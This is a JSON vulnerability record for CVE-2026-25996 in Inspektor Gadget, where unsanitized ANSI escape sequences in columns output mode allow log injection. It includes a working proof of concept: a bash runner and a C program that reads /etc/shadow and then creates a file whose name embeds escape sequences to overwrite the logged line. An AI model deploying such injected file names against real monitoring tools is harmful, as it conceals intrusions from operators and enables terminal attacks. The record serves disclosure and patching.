{"id":"CVE-2026-25996","aliases":["CVE-2026-25996","GHSA-34r5-6j7w-235f","GO-2026-5068"],"related":[],"kind":"vulnerability","state":"published","title":"Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode","summary":"Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively.","source":"cvelist"},{"lang":"en","text":"### Description\nString fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. \n\nTherefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.\n\nThe `columns` output mode is the default when running `ig run` interactively.\n\n### PoC\n\n#### Attachments\nrun.sh\n```bash\n\n#!/bin/bash\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nCONTAINER_NAME=\"poc-escape-inject\"\n\necho \"Make sure ig is running in another terminal:\"\necho \"  sudo ig run trace_open -c ${CONTAINER_NAME}\"\necho \"\"\necho \"Press Enter to continue...\"\nread -r\n\nsudo docker run --rm \\\n    --name \"${CONTAINER_NAME}\" \\\n    -v \"${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro\" \\\n    gcc:latest \\\n    bash -c \"\n        gcc -o /tmp/escape_inject /src/escape_inject.c && \\\n        /tmp/escape_inject\n    \"\n```\n\nescape_inject.c\n```c\n#include <fcntl.h>\n#include <stdio.h>\n#include <unistd.h>\n\nstatic void read_file(const char *path)\n{\n\tint fd = open(path, O_RDONLY);\n\tif (fd >= 0)\n\t\tclose(fd);\n}\n\nstatic void create_file(const char *path)\n{\n\tint fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);\n\tif (fd >= 0)\n\t\tclose(fd);\n}\n\nint main(void)\n{\n\tprintf(\"[1] normal activity\\n\");\n\tcreate_file(\"/tmp/app.log\");\n\tprintf(\"[2] malicious read of /etc/shadow\\n\");\n\tread_file(\"/etc/shadow\");\n\tusleep(300000);\n\tprintf(\"[3] tampering the log\\n\");\n\tcreate_file(\"/etc\\x1b[1A/bashrc\\x1b[1B\\x1b[13C\");\n\tusleep(300000);\n\treturn 0;\n}\n```\n\n1. Setup a Linux host and build/install `ig` version `0.48.0`\n2. Run the attached `run.sh` on a terminal\n3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal\n4. Press \"Enter\" on the terminal attached to `run.sh`\n5. Observe the events traced by `ig`\n6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection\n\n\n### Impact\n\nThe impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output.\n\nAt the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.\n\nHowever, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:\n\n- lead to DoS (Denial of Service)\n- write to the system clipboard\n- create hyperlinks to attacker-controlled servers\n- change window title\n- potentially execute code (see referenced resources)\n\n### Resources\n- https://www.youtube.com/watch?v=spb8Gk9Z09Y\n\n### Notes\n\nThe `json` output mode was already sanitizing the content.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode in github.com/inspektor-gadget/inspektor-gadget","format":"markdown","source":"go"},{"lang":"es","text":"Inspektor Gadget es un conjunto de herramientas y framework para la recopilación de datos y la inspección del sistema en clústeres de Kubernetes y hosts Linux utilizando eBPF. Los campos de cadena de los eventos eBPF en modo de salida de columnas se renderizan en la terminal sin ninguna sanitización de caracteres de control o secuencias de escape ANSI. Por lo tanto, una carga útil de evento forjada maliciosamente – parcial o completamente –, proveniente de un contenedor observado, podría inyectar las secuencias de escape en la terminal de los operadores de ig, con diversos efectos. El modo de salida de columnas es el predeterminado al ejecutar ig run de forma interactiva.","source":"nvd"}],"published":"2026-02-12T20:06:58.709Z","modified":"2026-06-25T18:56:11.747Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-150"],"affected":[{"ranges":[{"version":"< 0.49.1","status":"affected"}],"vendor":"inspektor-gadget","product":"inspektor-gadget","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.49.1"}],"ecosystem":"Go","package":"github.com/inspektor-gadget/inspektor-gadget","purl":"pkg:golang/github.com/inspektor-gadget/inspektor-gadget","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.49.1"}],"ecosystem":"Go","package":"github.com/inspektor-gadget/inspektor-gadget","purl":"pkg:golang/github.com/inspektor-gadget/inspektor-gadget","source":"go"},{"ranges":[{"status":"affected","fixed":"0.49.1"}],"vendor":"linuxfoundation","product":"inspektor_gadget","cpe":"cpe:2.3:a:linuxfoundation:inspektor_gadget:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25996","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/inspektor-gadget/inspektor-gadget","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-02-12T20:56:29.089Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25996","url":"https://www.cve.org/CVERecord?id=CVE-2026-25996","licence":"CVE Terms of Use","modified":"2026-02-12T20:57:00.522Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-34r5-6j7w-235f","url":"https://github.com/advisories/GHSA-34r5-6j7w-235f","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:11.747Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5068","url":"https://pkg.go.dev/vuln/GO-2026-5068","licence":"CC-BY-4.0","modified":"2026-06-25T18:45:16.505Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25996","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25996","licence":"Public domain","modified":"2026-06-17T10:25:33.970Z"}],"updatedAt":"2026-11-25T22:59:13.832Z","epss":{"score":0.00621,"percentile":0.51127,"date":"2026-12-01T12:00:22.000Z"}}